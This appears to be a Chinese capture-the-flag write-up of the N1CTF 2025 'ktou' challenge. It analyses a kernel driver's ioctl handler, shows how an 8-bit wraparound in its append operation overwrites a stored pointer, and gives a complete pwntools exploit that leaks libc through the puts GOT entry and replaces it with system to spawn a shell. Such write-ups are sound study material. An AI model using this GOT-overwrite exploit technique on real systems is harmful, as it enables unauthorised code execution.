ktou
本题是用户态pwn和内核态pwn结合的一道题。
分析
run.sh
#!/bin/bash
qemu-system-x86_64 \
-m 512M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-hda ./rootfs.img \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on quiet oops=panic panic=1" \
-drive file=/flag,if=virtio,format=raw,readonly=on \
-no-reboot \
-s
常见的保护基本都开了。
rcS
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
insmod /root/ktou.ko
chmod 666 /dev/ktou_dev
chmod 666 /root/user
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cp /root/user /home/ctf/user
chmod 777 /home/ctf/user
chmod 444 /home/ctf/flag
cd /home/ctf
setsid cttyhack su ctf -c /home/ctf/user
# setsid cttyhack setuidgid 100 sh
poweroff -d 0 -f
这里再内核启动时就会运行,/home/ctf/user这个程序,并且我们的权限刚好可以读取flag文件,所以我们的目的就不是提权,而且能执行shell。
ktou.ko
init

内核驱动在初始化的时候会创建一个0x1000大小的obj,其返回地址储存在memory_pool中
ioctl
__int64 __fastcall device_ioctl(__int64 fd, __int64 rsi, __int64 rdx)
{
unsigned __int8 size; // bl
unsigned __int64 idx; // rsi
unsigned int type; // eax
__int64 v6; // rdx
__int16 v8; // di
__int64 v9; // rsi
unsigned __int64 v10; // [rsp+0h] [rbp-30h] BYREF
__int64 v11; // [rsp+8h] [rbp-28h]
unsigned __int64 v12; // [rsp+10h] [rbp-20h]
v12 = __readgsqword(0x28u);
if ( copy_from_user(&v10, rdx, 16LL) )
return -14LL;
size = v10;
idx = v10 >> 8;
type = BYTE3(v10);
if ( BYTE1(v10) <= 0xFu )
{
if ( type == 3 ) // 特殊写入操作
{
v8 = v10 + write;
v9 = (unsigned __int8)write + (unsigned int)(unsigned __int8)v10;
v10 += write;
write_offset = (unsigned __int8)(size + write);
if ( (unsigned int)v9 > 0x100 )
{
printk(&unk_5E8, v9, 256LL); // Size too large: 0x%02X (max=0x%02X)
}
else if ( !copy_from_user(memory_pool + (unsigned __int8)write + (unsigned __int64)(v8 & 0xF00), v11, size) )
{
printk(&unk_5B0, BYTE1(v10), (unsigned __int8)v10);
return 0LL;
}
return -14LL;
}
v6 = (v10 >> 24) & 0xFC;
if ( (_DWORD)v6 )
{
if ( type == 4 ) // 打印,无实际操作
{
printk(&unk_691, BYTE1(v10), v6);
return 0LL;
}
}
else
{
if ( type == 1 ) // 读取操作
{
copy_to_user(v11, memory_pool + (BYTE1(v10) << 8), (unsigned __int8)v10);// 从memory_pool读取数据到用户空间
printk(&unk_588, (unsigned __int8)idx, size);// READ: index=0x%02X, size=0x%02X
return 0LL;
}
if ( type == 2 ) // 写入操作
{
if ( !copy_from_user(memory_pool + (BYTE1(v10) << 8), v11, (unsigned __int8)v10) )// 从用户空间写入数据到memory_pool
{
write += size;
write_offset = size; // 更新写入偏移量
printk(&unk_5B0, (unsigned __int8)idx, size);// WRITE: index=0x%02X, size=0x%02X write_offset:%lu
return 0LL;
}
return -14LL;
}
}
printk(&unk_6A8, type, v6); // Unknown operation: 0x%08lX
return -22LL;
}
return -22LL;
}
这里主要有3个操作:
- 操作1:从memory_pool中的obj中读取数据到用户空间
- 操作2:从用户空间写入数据到memory_pool中的object,这里有个问题就是write的大小会随着写入的大小一直做加法,变大。
- 操作3(漏洞点一):特殊写入操作,目的是追加内容,但当我们特意设置特定的写入大小就会导致溢出,导致我们能向
idx == 0的地方写入数据。
因为操作3中是(unsigned __int8)write,这意味着只会取前1个字节,如果write的大小为0x100,在(unsigned __int8)write的情况下就会取到0x00,
然后(unsigned __int64)(v8 & 0xF00)也是可以操作的如果 v8 & 0xf00 == 0,那么
memory_pool + (unsigned __int8)write + (unsigned __int64)(v8 & 0xF00) == memory_pool + 0 + 0 就会向idx == 0的地方写入数据,这是一个利用点,下面会详细讲到。
user程序
初始

在程序刚运行时,会利用操作1向memory_pool中的object写入一个前8字节是0x405220的dest地址,后8位是0xDEADBEEF的数据,这里的idx == 0,这意味着会在object的零偏移处写入这些数据。大概如下图:

然后会打印dest的内容也就是0x405220的内容。
update函数(任意地址写)

这里会从obj中idx==0的位置处读取16字节,前8字节就是dest的地址0x405220,然后把0x405220赋值给v7,0xdeadbeef给v8。
后面会让用户输入一段base64加密的数据,然后会调用sub_4014AA()函数解码,然后把解码的数据写入v7,也就是写入dest的地址里。
show函数

这个函数会将idx == 0时,第一个元素所指向的内容输出出来,也就是dest的内容输出。
写入函数

这里就是调用两种写入方式的函数,然后写入数据。
利用思路
- 先利用
update函数向dest写入“/bin/sh\x00”。 - 因为
user程序开始时会写入0x10大小的数据,这时write = 0x10,后面我们再利用普通的写入向idx == 0xf处写入0xf0大小的数据,就会使得write = 0x10+0xf0 = 0x100 - 然后利用追加函数,写入
puts_got,因为write = 0x100使得(unsigned __int8)write = 0x00,v10 = 0x3000ff0,所以v10 + write == 0x3000ff0 + 0x100 = 0x30010F0,所以0x30010F0&0xF00 = 0x00,所以会向memory_pool + 0 + 0中写入数据,也就是向idx == 0中写入数据,这时写入 puts函数的got表,就会覆盖之前的dest地址。 - 调用shou函数,这时就会输出
idx == 0处元素所指向的内容,也就是puts_got的内容,就会泄露puts函数的地址,然后计算libc_base - 再调用 update函数,向puts的got表中写入system函数,最后puts(dest);的时候就相当于调用 system(“/bin/sh\x00”);
EXP
from pwn import *
from LibcSearcher import *
import base64
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./run.sh"
# elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def read(idx,size):
sla(b"Please select an option:",b"1")
sla(b"Index (1-15): ",str(idx))
sla(b"Size (1-255):",str(size))
sl(b"6")
def write(idx,size,data):
sla(b"Please select an option:",b"2")
sla(b"Index (1-15): ",str(idx))
sla(b"Size (1-255):",str(size))
sla(b"bytes): ",data)
sl(b"6")
def append(idx,size,data):
sla(b"Please select an option:",b"3")
sla(b"Index (1-15): ",str(idx))
sla(b"Size (1-255):",str(size))
sla(b"bytes): ",data)
sl(b"6")
def show():
sla(b"Please select an option:",b"4")
sl(b"6")
def update(data):
sla(b"Please select an option:",b"5")
sla(b"Enter new program description:",data)
sl(b"6")
def pwn():
# pause()
puts_got = 0x0405030
update(base64.b64encode(b"/bin/sh\x00"));
write(15,0xf0,b"a"*8);
append(15,8,p64(puts_got));
show()
ru(b"content: \r\n")
puts_addr = uu64(r(6))
leak("puts_addr",puts_addr)
libc_base = puts_addr - libc.sym["puts"]
leak("libc_base",libc_base)
system_addr = libc_base + libc.sym['system']
update(base64.b64encode(p64(system_addr)))
itr()
if __name__ == "__main__":
# while True:
# io = remote("47.94.172.90",22530)
io = process(pwnfile)
try:
pwn()
except:
io.close()
N1CTF 2025 pwn Ktou解析

被折叠的 条评论
为什么被折叠?



